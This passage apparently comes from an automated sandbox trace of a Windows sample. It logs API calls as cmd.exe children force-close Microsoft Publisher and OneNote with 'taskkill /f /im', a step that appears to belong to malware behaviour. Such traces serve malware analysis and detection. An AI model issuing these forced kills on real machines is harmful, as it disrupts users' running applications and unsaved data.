	[0045.168] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0045.168] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0045.168] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0045.168] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0045.168] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0045.168] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0045.168] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0045.168] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0045.168] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0045.168] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0045.169] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0045.169] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0045.169] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0045.169] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0045.169] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0045.169] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0045.169] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0045.169] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0045.169] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0045.169] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0045.169] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0045.169] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0045.169] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0045.169] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0045.169] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0045.169] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0045.169] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0045.169] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0045.169] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0045.169] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0045.169] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0045.169] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0045.169] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0045.169] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0045.169] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0045.169] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0045.169] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0045.169] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0045.169] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0045.169] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0045.169] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0045.169] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0045.169] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0045.169] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0045.170] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0045.170] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0045.170] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0045.170] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0045.170] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0045.170] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0045.170] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0045.170] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0045.170] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0045.170] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0045.170] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0045.170] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0045.170] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0045.170] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0045.170] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0045.170] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0045.170] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0045.170] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0045.170] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0045.170] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0045.170] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0045.170] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0045.170] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0045.170] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0045.170] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0045.170] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0045.170] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0045.170] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0045.170] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0045.170] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0045.170] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0045.170] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0045.170] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0045.170] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0045.170] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0045.170] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0045.171] GetProcessHeap () returned 0x350000
	[0045.171] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x210) returned 0x3631d0
	[0045.171] GetProcessHeap () returned 0x350000
	[0045.171] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x40) returned 0x3633e8
	[0045.171] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0045.171] GetProcessHeap () returned 0x350000
	[0045.171] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x418) returned 0x3507f0
	[0045.171] SetErrorMode (uMode=0x0) returned 0x8003
	[0045.171] SetErrorMode (uMode=0x1) returned 0x0
	[0045.171] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3507f8, lpFilePart=0x33efc4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x33efc4*="Desktop") returned 0x25
	[0045.171] SetErrorMode (uMode=0x8003) returned 0x1
	[0045.171] GetProcessHeap () returned 0x350000
	[0045.172] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x3507f0, Size=0x66) returned 0x3507f0
	[0045.172] GetProcessHeap () returned 0x350000
	[0045.172] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x3507f0) returned 0x66
	[0045.172] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a130640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0045.172] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0045.172] GetProcessHeap () returned 0x350000
	[0045.172] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x120) returned 0x363430
	[0045.172] GetProcessHeap () returned 0x350000
	[0045.172] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x238) returned 0x350860
	[0045.174] GetProcessHeap () returned 0x350000
	[0045.174] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x350860, Size=0x122) returned 0x350860
	[0045.174] GetProcessHeap () returned 0x350000
	[0045.174] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x350860) returned 0x122
	[0045.174] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a130640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0045.174] GetProcessHeap () returned 0x350000
	[0045.174] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xe0) returned 0x350990
	[0045.174] GetProcessHeap () returned 0x350000
	[0045.174] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x350990, Size=0x76) returned 0x350990
	[0045.174] GetProcessHeap () returned 0x350000
	[0045.174] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x350990) returned 0x76
	[0045.174] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0045.174] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x33ed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ed40) returned 0xffffffff
	[0045.174] GetLastError () returned 0x2
	[0045.174] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x33ed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ed40) returned 0xffffffff
	[0045.174] GetLastError () returned 0x2
	[0045.174] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0045.174] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x33ed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ed40) returned 0x363558
	[0045.175] GetProcessHeap () returned 0x350000
	[0045.175] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x0, Size=0x14) returned 0x350a10
	[0045.175] FindClose (in: hFindFile=0x363558 | out: hFindFile=0x363558) returned 1
	[0045.175] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x33ed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ed40) returned 0xffffffff
	[0045.175] GetLastError () returned 0x2
	[0045.175] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x33ed40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33ed40) returned 0x363558
	[0045.175] GetProcessHeap () returned 0x350000
	[0045.175] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x350a10, Size=0x4) returned 0x350a10
	[0045.175] FindClose (in: hFindFile=0x363558 | out: hFindFile=0x363558) returned 1
	[0045.175] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0045.175] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0045.175] GetConsoleTitleW (in: lpConsoleTitle=0x33f238, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0045.184] InitializeProcThreadAttributeList (in: lpAttributeList=0x33f0c0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x33f188 | out: lpAttributeList=0x33f0c0, lpSize=0x33f188) returned 1
	[0045.184] UpdateProcThreadAttribute (in: lpAttributeList=0x33f0c0, dwFlags=0x0, Attribute=0x60001, lpValue=0x33f180, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x33f0c0, lpPreviousValue=0x0) returned 1
	[0045.184] GetStartupInfoW (in: lpStartupInfo=0x33f07c | out: lpStartupInfo=0x33f07c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc4, hStdOutput=0xc8, hStdError=0xac)) 
	[0045.184] GetProcessHeap () returned 0x350000
	[0045.184] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x18) returned 0x363558
	[0045.184] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0045.184] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0045.184] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0045.184] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0045.184] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0045.184] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0045.184] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0045.184] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0045.184] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0045.184] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0045.184] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0045.184] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0045.184] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0045.184] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0045.185] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0045.185] GetProcessHeap () returned 0x350000
	[0045.185] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x363558 | out: hHeap=0x350000) returned 1
	[0045.185] GetProcessHeap () returned 0x350000
	[0045.185] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xa) returned 0x35fed8
	[0045.185] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0045.187] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im mspub.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x33f11c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im mspub.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x33f168 | out: lpCommandLine="taskkill  /f /im mspub.exe ", lpProcessInformation=0x33f168*(hProcess=0x78, hThread=0x74, dwProcessId=0xba0, dwThreadId=0xb80)) returned 1
	[0045.193] CloseHandle (hObject=0x74) returned 1
	[0045.193] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0045.193] GetProcessHeap () returned 0x350000
	[0045.193] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365ec8 | out: hHeap=0x350000) returned 1
	[0045.193] GetEnvironmentStringsW () returned 0x374a40*
	[0045.193] GetProcessHeap () returned 0x350000
	[0045.193] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb36) returned 0x364088
	[0045.193] FreeEnvironmentStringsW (penv=0x374a40) returned 1
	[0045.193] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0045.460] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x33f05c | out: lpExitCode=0x33f05c*=0x80) returned 1
	[0045.460] CloseHandle (hObject=0x78) returned 1
	[0045.460] _vsnwprintf (in: _Buffer=0x33f1a4, _BufferCount=0x13, _Format="%08X", _ArgList=0x33f068 | out: _Buffer="00000080") returned 8
	[0045.461] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0045.461] GetProcessHeap () returned 0x350000
	[0045.461] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x364088 | out: hHeap=0x350000) returned 1
	[0045.461] GetEnvironmentStringsW () returned 0x364088*
	[0045.461] GetProcessHeap () returned 0x350000
	[0045.461] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb5c) returned 0x365ec8
	[0045.461] FreeEnvironmentStringsW (penv=0x364088) returned 1
	[0045.461] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0045.461] GetProcessHeap () returned 0x350000
	[0045.461] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365ec8 | out: hHeap=0x350000) returned 1
	[0045.461] GetEnvironmentStringsW () returned 0x364088*
	[0045.461] GetProcessHeap () returned 0x350000
	[0045.461] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb5c) returned 0x365ec8
	[0045.461] FreeEnvironmentStringsW (penv=0x364088) returned 1
	[0045.461] GetProcessHeap () returned 0x350000
	[0045.461] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x35fed8 | out: hHeap=0x350000) returned 1
	[0045.461] DeleteProcThreadAttributeList (in: lpAttributeList=0x33f0c0 | out: lpAttributeList=0x33f0c0) 
	[0045.461] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0045.461] SetConsoleMode (hConsoleHandle=0xc8, dwMode=0x0) returned 0
	[0045.461] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0045.461] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a1241ac | out: lpMode=0x4a1241ac) returned 0
	[0045.461] _get_osfhandle (_FileHandle=0) returned 0xc4
	[0045.461] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a1241b0 | out: lpMode=0x4a1241b0) returned 0
	[0045.462] GetConsoleOutputCP () returned 0x1b5
	[0045.462] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a124260 | out: lpCPInfo=0x4a124260) returned 1
	[0045.462] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0045.462] exit (_Code=128) 

Process:
	id = "59"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4a734000"
	os_pid = "0xba0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "58"
	os_parent_pid = "0xbb0"
	cmd_line = "taskkill  /f /im mspub.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 263
	os_tid = 0xb80


Thread:
	id = 264
	os_tid = 0xb78


Thread:
	id = 265
	os_tid = 0xb9c


Thread:
	id = 266
	os_tid = 0xba4


Thread:
	id = 267
	os_tid = 0xbe0


Process:
	id = "60"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x47cea000"
	os_pid = "0xbdc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im onenote.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 268
	os_tid = 0xbd0

	[0045.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fbd4 | out: lpSystemTimeAsFileTime=0x14fbd4*(dwLowDateTime=0xca6100, dwHighDateTime=0x1d52dc5)) 
	[0045.576] GetCurrentProcessId () returned 0xbdc
	[0045.576] GetCurrentThreadId () returned 0xbd0
	[0045.576] GetTickCount () returned 0x1b95f
	[0045.576] QueryPerformanceCounter (in: lpPerformanceCount=0x14fbcc | out: lpPerformanceCount=0x14fbcc*=16588604951) returned 1
	[0045.577] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000
	[0045.577] __set_app_type (_Type=0x1) 
	[0045.577] __p__fmode () returned 0x74eb31f4
	[0045.577] __p__commode () returned 0x74eb31fc
	[0045.578] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0
	[0045.578] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0
	[0045.578] GetCurrentThreadId () returned 0xbd0
	[0045.578] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xbd0) returned 0x60
	[0045.578] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0045.578] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0045.578] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0045.579] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0045.579] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14fb64 | out: phkResult=0x14fb64*=0x0) returned 0x2
	[0045.579] VirtualQuery (in: lpAddress=0x14fb9b, lpBuffer=0x14fb34, dwLength=0x1c | out: lpBuffer=0x14fb34*(BaseAddress=0x14f000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0045.579] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x14fb34, dwLength=0x1c | out: lpBuffer=0x14fb34*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0045.579] VirtualQuery (in: lpAddress=0x51000, lpBuffer=0x14fb34, dwLength=0x1c | out: lpBuffer=0x14fb34*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0045.579] VirtualQuery (in: lpAddress=0x53000, lpBuffer=0x14fb34, dwLength=0x1c | out: lpBuffer=0x14fb34*(BaseAddress=0x53000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0045.579] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x14fb34, dwLength=0x1c | out: lpBuffer=0x14fb34*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0045.579] GetConsoleOutputCP () returned 0x1b5
	[0045.579] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1
	[0045.579] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1
	[0045.579] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0045.579] SetConsoleMode (hConsoleHandle=0xc4, dwMode=0x0) returned 0
	[0045.580] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0045.580] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 0
	[0045.580] _get_osfhandle (_FileHandle=0) returned 0xc0
	[0045.580] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 0
	[0045.580] GetEnvironmentStringsW () returned 0x462008*
	[0045.580] GetProcessHeap () returned 0x450000
	[0045.580] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xaca) returned 0x462ae0
	[0045.580] FreeEnvironmentStringsW (penv=0x462008) returned 1
	[0045.580] GetProcessHeap () returned 0x450000
	[0045.580] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4) returned 0x460c40
	[0045.580] GetEnvironmentStringsW () returned 0x462008*
	[0045.580] GetProcessHeap () returned 0x450000
	[0045.580] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xaca) returned 0x4635b8
	[0045.581] FreeEnvironmentStringsW (penv=0x462008) returned 1
	[0045.581] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14ead4 | out: phkResult=0x14ead4*=0x68) returned 0x0
	[0045.581] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14eadc, lpData=0x14eae0, lpcbData=0x14ead8*=0x1000 | out: lpType=0x14eadc*=0x0, lpData=0x14eae0*=0x0, lpcbData=0x14ead8*=0x1000) returned 0x2
	[0045.581] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14eadc, lpData=0x14eae0, lpcbData=0x14ead8*=0x1000 | out: lpType=0x14eadc*=0x4, lpData=0x14eae0*=0x1, lpcbData=0x14ead8*=0x4) returned 0x0
